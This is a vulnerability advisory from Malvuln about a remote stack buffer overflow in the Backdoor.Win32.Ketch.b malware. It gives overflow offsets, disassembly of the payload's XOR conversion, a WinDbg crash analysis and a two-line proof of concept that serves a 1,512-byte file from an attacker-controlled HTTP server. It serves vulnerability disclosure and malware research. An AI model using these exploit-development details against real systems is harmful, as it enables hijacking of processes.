Backdoor.Win32.Ketch.b Remote Stack Buffer Overflow

Backdoor.Win32.Ketch.b malware suffers from a remote stack buffer overflow vulnerability.


MD5 | 38df86e71109ce6870225d853970d548

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9d7be3799594a82bf7056905f501af03.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ketch.b
Vulnerability: Remote Stack Buffer Overflow

Description: Makes HTTP GET request for a file "script.dat", and writes the server response to temporary file named "watchb.tmp" under c:\Windows dir.
At 1032 bytes we overwrite the buffer which is about 1000 bytes, and sending 1,512 bytes we overwrite EIP. The watchb.tmp holds the response from the server.

Type: PE32
MD5: 9d7be3799594a82bf7056905f501af03
Vuln ID: MVID-2021-0019
Dropped files: watchb.tmp
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/08/2021

C:\>type \Windows\watchb.tmp
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq...

Payload gets XOR's complicating things, uppercase gets converted to lowercase, "a" becomes 51 Q... "A" becomes q 71 so it is difficult to control chars for our needs.
Therefore, if we want to see the typical 41414141 exploit pattern overwriting EIP we would have to use the lowercase "q" character. After when it is XOR with 30
it will become 41.

At offset 004014CE, is where our payload is XOR'd with value of 30, and this would have to be taken into account.
004014CE | E8 5D FF FF FF | call backdoor.win32.ketch.b

Reversing the code responsible for payload character conversions e.g. "a" to "Q" and "q" to "A" which challenges exploitation.

movzx eax, al (al=BA)
push esi
mov esi, dword ptr ss[esp+10] (dword ptr [esp+10]=[0019E7F8]=0)
sub edx, esi
sub eax, esi
xor eax, edx (eax=BA, edx=BE)
al of EAX is now 4 - EAX 00000004
EDX = BABECAFE
mov edx, ecx
sar edx, 8
EDX is now, edx=FFBABECA
movzx edx, dl
EDX is now value CA
sub edx, dl
movzx ecx, cl (cl=FE)
xor eax, edx (EAX=30, edx=CA)
sub ecx, esi (ecx=FE, esi=0)
xor eax, ecx (eax=CE, edx=FE)
EDX =CA
mov ecx, dword ptr ss[esp+8]
movzx edx, byte ptr ds[ecx] (byte ptr [yte ptr [ecx]=[0019E824]=61 'a')
xor eax, edx (eax=30 '0', edx=61 'a') <==================================== HERE
cmp eax, A ('\n') EAX = 51 'Q'
pop esi (esi=0)
je backdoor.win32.ketch
test eax, eax (eax=51)
je backdoor.win32.ketch (jump not taken)
mov byte ptr ds[ecx], al (lower value of EAX 00000051)
ret

Memory Dump:

0:000> !exchain
0019f1c8: ntdll!_except_handler4+0 (773d6a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (774157ad)
0019f80c: Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+35020 (00435020)
0019fe24: 41414141
Invalid exception stack at 41414141

(16d0.118c): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=029044e1 edx=001a0000 esi=00000000 edi=00000002
eip=773ced3c esp=0019f110 ebp=0019f150 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:000> .ecxr

eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef edi=02903f00
eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9:
004050a9 8802 mov byte ptr [edx],al ds:002b:001a0000=41
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9
004050a9 8802 mov byte ptr [edx],al

EXCEPTION_RECORD: 0019f310 -- (.exr 0x19f310)
ExceptionAddress: 004050a9 (Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x000050a9)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: Backdoor.Win32.Ketch.b.9d7be3799594a82bf7056905f501af03.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 70

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0019f360 -- (.cxr 0x19f360)
eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef edi=02903f00
eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9:
004050a9 8802 mov byte ptr [edx],al ds:002b:001a0000=41
Resetting default scope

WRITE_ADDRESS: 001a0000

FOLLOWUP_IP:
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9
004050a9 8802 mov byte ptr [edx],al

FAULTING_THREAD: 0000118c

BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE

PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE

DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE

IP_ON_HEAP: 029032f0
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER: from 029032f0 to 004050a9

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f958 029032f0 fffffffe 774453ea 773f67ea Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9
0019f960 774453ea 773f67ea 000005e8 000005ef 0x29032f0
0019f9c4 7674a402 00000000 00000000 00000000 ntdll!RtlDebugAllocateHeap+0x340
0019fa9c 41414141 41414141 41414141 41414141 KERNELBASE!LocalBaseRegQueryValue+0x202
0019fab0 41414141 41414141 41414141 41414141 0x41414141
0019fab4 41414141 41414141 41414141 41414141 0x41414141
0019fab8 41414141 41414141 41414141 41414141 0x41414141


Exploit/PoC:
Setup for attacker server where we control traffic.

python -c "print 'q'*1512" > script.dat

python -m SimpleHTTPServer 80


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts